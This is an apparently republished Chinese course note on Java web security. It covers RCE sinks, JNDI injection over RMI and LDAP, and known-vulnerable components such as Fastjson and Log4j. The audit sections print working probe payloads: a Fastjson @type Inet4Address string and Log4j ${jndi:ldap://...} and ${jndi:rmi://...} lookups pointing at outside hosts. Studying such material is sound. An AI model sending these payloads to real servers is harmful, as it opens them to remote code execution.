当前位置: 首页 > news >正文

DAY67WEB 攻防-Java 安全JNDIRMILDAP五大不安全组件RCE 执行不出网

知识点:

1、Java安全-RCE执行-5大类函数调用

2、Java安全-JNDI注入-RMI&LDAP&高版本

3、Java安全-不安全组件-Shiro&FastJson&JackJson&XStream&Log4j

Java安全-RCE执行-5大类函数调用

Java中代码执行的类:

Groovy

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManager

检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManage

在java8后就没了eval函数,仅作参考

白盒测试-RCE

白盒看类函数名和可控变量(大部分白盒)

Java安全-JNDI注入-RMI&LDAP&版本

JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址

在命名服务中,有几个重要的概念:

Bindings:表示一个名称和对应对象的绑定关系,比如在 DNS 中域名绑定到对应的

IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件

Context:上下文,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)

References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态

目录服务(Directory Service)

目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

JNDI原生漏洞-靶场演示

JNDI本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

JNDI注入原理

参考文章:https://dahezhiquan.blog.csdn.net/article/details/136459856

实现复现,使用Java版本:不要超过 java 1.8_133 之后,可能会有影响,去Oracle官网下载

JNDI在调用RMI以及LDAP服务时如果不对远程访问的地址进行过滤的话且参数可控,攻击者构造一个恶意的类,就会被远程访问并且代码执行。

JNDI注入漏洞利用条件

在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类

高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

Fastjson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson

XStream

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream

白盒审计-FastJson

审计思路:

1、看引用组件版本及实现

JSON.parse() JSON.parseObject()

2、找可控变量及访问实现

admin/product propertyJson

3、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

源码搭建

看引用组件版本及代码实现

漏洞函数

JSON.parse()

JSON.parseObject()

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)

找可控变量及访问实现

admin/product propertyJson

测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"54ioxg.dnslog.cn"}

白盒审计-Log4j

白盒审计思路:

1、看引用组件版本及实现

logger.info    logger.error

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

3、测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}

${jndi:rmi://47.94.236.117:1099/l6v1wz}

看引用组件版本及实现

logger.info

logger.error

找可控变量及访问实现

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞

${jndi:ldap://n6irmg.dnslog.cn}

不回显常见判断通用方法


http://www.mrgr.cn/news/62823.html

相关文章:

  • goframe开发一个企业网站 生成代码3
  • GPT论文整理提示词
  • 解决 MySQL 中的死锁问题排查攻略(一)
  • WPF中设置DataGrid的常用样式
  • c加加11第一弹~
  • 植物源UDP-糖基转移酶及其分子改造-文献精读75
  • 服务器宝塔安装哪吒监控
  • 数据结构(8.5_1)——归并排序
  • 通过QAxObject关闭已经打开的指定名称的Word文档
  • 【安装配置教程】一、windows安装并配置java8
  • RabbitMQ怎么保障消息的可靠性
  • aab上架谷歌市场流程(apk)
  • python爬取旅游攻略(1)
  • 强化学习数学基础学习(三)
  • 【随笔】为什么transformer的FFN先升维后降维FFN的作用
  • 搜维尔科技:Manus数据手套在水下捕捉精确的手指动作, 可以在有水的条件下使用
  • 全面解析云渲染:定义、优势、分类与发展历程
  • java-参数传递与接收
  • 基于SSM+小程序的宿舍管理系统(宿舍1)
  • 【VM实战】VMware迁移到VirtualBox
  • 【c++篇】:模拟实现string类--探索字符串操作的底层逻辑
  • vite构建Vue3项目:封装公共组件,发布npm包,自定义组件库
  • 利用GATK对RNA-seq数据做call SNP 或 INDEL分析
  • VScode + PlatformIO 了解
  • 案例精选 | 石家庄学院大日志场景下的实名审计实践
  • Rust: 加密算法库 ring 如何用于 RSA 数字签名?